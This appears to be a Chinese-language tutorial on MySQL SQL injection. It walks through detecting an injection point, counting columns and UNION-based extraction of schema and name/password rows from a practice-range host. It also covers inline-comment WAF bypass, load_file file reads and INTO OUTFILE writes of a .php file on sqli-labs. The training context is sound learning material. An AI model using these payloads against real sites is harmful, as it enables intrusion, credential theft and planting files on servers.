1、sql注入原理
针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序意料之外结果的攻击行为。
其成因可归结为以下两个原理叠加造成:
1、程序编写者在处理程序和数据库交互时,使用字符串凭借的方式构造SQL语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

2、Mysql注入有关知识点
information_schema数据库中的几个关键的表
在表schema(数据库名)、tables(表名)、columns(列名或字段名)。
在schema表中,schema_name字段用来存储数据库名。
在tables表中,table_schema和table_name分别用来存储数据库名和表名。
在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
注释符:在Mysql 中常见的注释符表达式:
#、--空格、/**/
内联注释:/*!SQL语句 */ 只有Mysql可以识别,常用来绕过WAF
例如:select * from articles where id = id
使用内联注释注入:select * from articles where id = -1 /*!union*/ /*!select*/ 1,2,3,4
mysql 常用的函数与参数
show databases; #查看数据库
use information_schema; #转到数据库information_schema
show tables; #查看当前数据库中的数据表

3、如何判断注入点?
3.1、老办法:
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
3.2、新办法:
select * from users where id=1daadda LIMIT 0,1
xxx/?id=1daadda 这样输入,如果对网站有影响,和原来网站有差别,证明他代入数据库查询了,证明了会有漏洞;如果没有差别,网站不检测你输入的参数即不能传递参数,说明没有漏洞。
如果报了404错误或跳转,说明网站对输入参数检测了,大部分没有漏洞。
3.3、猜解列名数量(字段数)
因为union联合查询字段数必须一样,否则会报错;
使用order by x(数字) 错误与正常的临界值,不断测试x直到页面错误;
例:219.153.49.228:42123/new_list.php?id=1 order by 4
order by 4没问题但是order by 5 的时候网页错误,所以一共有四列

3.4、报错猜解准备
由上面猜解字段数得到下面
http://219.153.49.228:42123/new_list.php?id=-1 union select 1,2,3,4
2和3有显示位,数据出来可以看见

3.5、开始信息收集
数据库版本:version() -> 5.7.22-0ubuntu0.16.04.1
数据库名字:database() -> mozhe_Discuz_StormGroup
数据库用户:user() -> root@localhost
操作系统:@@version_compile_os -> Linux
查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

查询指定表名StormGroup_member下的列名信息:
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查询指定表名StormGroup_member下的数据:
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

猜解表下多个数据可以采用limit x,1
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
跨库选择表:如果是跨库查询,需要在表前添加该表的数据库名称,否则会默认为当前库的表(xxx为表名)
如:http://219.153.49.228:43123/new_list.php?id=-1 union select 1,2,3,4 from notice.xxxx
4、SQL注入实现文件读写
会用到MySQL数据库里两个内置函数,这两个函数是MySQL数据库特有的,在其他数据库是没有的或者在其他数据库中写法不 同,所以这是为什么说注入点分数据库的原因,因为每个数据库内置的安全机制和它的功能不同,这才导致在注入的时候针对不用的数据库采取的攻击思路也不同。
load_file(): 读取函数
into outfile 或者 into dumpfile:导出函数
路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等;
- 报错显示
网站出现错误时,会显示路径;

- 遗留文件
类似于phpinfo()文件,为了调试信息遗留的文件,命名一般为phpinfo()之类的;
可以用工具扫描到;

- 漏洞报错
知道对方是用什么脚本程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径;
- 平台位置文件
搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取;
1.常见读取文件列表
注:下述SQL语句的执行,必须依赖于数据库中secure_file_priv参数,该参数指定了数据库导入和导出的安全路径。
需要在mysql的配置文件my.ini文件添加secure_file_priv=‘’
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,load_file('d:/www.txt'),3
2.常见读取文件列表及写入文件问题:魔术引导开关
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,'x',3 into outfile 'C:\phpStudy\PHPTuorial\WWW\sqli-labs-master\x.php'--+
魔术引号magic_quotes_gpc是php安全机制开关,在php的配置文件php.ini修改
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,都不会被转义。这些转义是必须的。
绕过方法:可以采用编码或者宽字节,把路径进行十六进制编码,就不需要使用单引号,可以正常解析;
参考链接: